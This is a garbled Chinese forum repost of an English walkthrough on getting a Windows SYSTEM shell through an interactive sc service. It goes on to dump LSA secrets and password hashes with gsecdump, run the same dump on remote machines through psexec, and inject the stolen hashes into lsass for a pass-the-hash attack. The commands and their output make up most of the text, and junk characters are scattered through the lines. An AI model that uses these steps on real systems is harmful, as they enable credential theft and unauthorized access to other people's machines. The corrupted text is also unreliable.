HASH注入式攻击

admin

o get a DOS Prompt as NT system:
1 `6 B  j  V5 [9 f4 a( h, d
. `( e. _' f  zC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start shellcmdline
2 R  b  H% n5 ~3 A[SC] StartService FAILED 1053:

6 y) Q5 ?; `+ X) z7 `  o$ E/ bThe service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
2 B$ P: a6 o, x; Q[SC] DeleteService SUCCESS
* Y. u" R4 h4 M! ~
/ [9 A$ |: p1 F5 K* I, \/ V0 I------------
5 x! k! J) ?# A4 ]4 N: {; r) [+ b
Then in the new DOS window:
# D; ?/ Z% I! E3 w5 w
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

3 H( r. t$ i- @C:\WINDOWS\system32>whoami
9 x1 W# b# a5 e; l7 SNT AUTHORITY\SYSTEM
# C: _6 d' L. ^3 x+ D
% G1 [( b4 M( ?5 wC:\WINDOWS\system32>gsecdump -h
  V; Z2 I! ?, [gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
. J% f- s( u2 v6 j8 n$ Vusage: gsecdump [options]
( |' ~! N3 L, {6 y) l2 k
options:
-h [ --help ] show help
. g1 t2 H, j# x0 l4 z-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
$ O0 X6 y* L" d" E  E- E-u [ --dump_usedhashes ] dump hashes from active logon sessions
  n& q" b1 }. Z* ?-s [ --dump_hashes ] dump hashes from SAM/AD
9 _' r6 F6 `+ m2 o7 Q- B) s
* X8 K$ O, a) l1 X% d6 @. UAlthough I like to use:

- t6 m+ i4 k& f- b% M& lPsExec v1.83 - Execute processes remotely
; q$ t4 v+ I, ]0 Y; t8 cCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

4 J# N  T9 w4 Z  C0 d% T* ~/ ?" bC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

) V% z% o4 f$ n( Pto get the hashes from active logon sessions of a remote system.
% D5 o* A: Z" d+ ?7 |
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
1 v/ r. C: B4 p  L/ G
1 B1 \8 `' E: `$ P& K- m" Q9 H! I# ^提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

/ X8 H+ J( V# O+ x( ]我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
- [5 O3 v" l# A: ]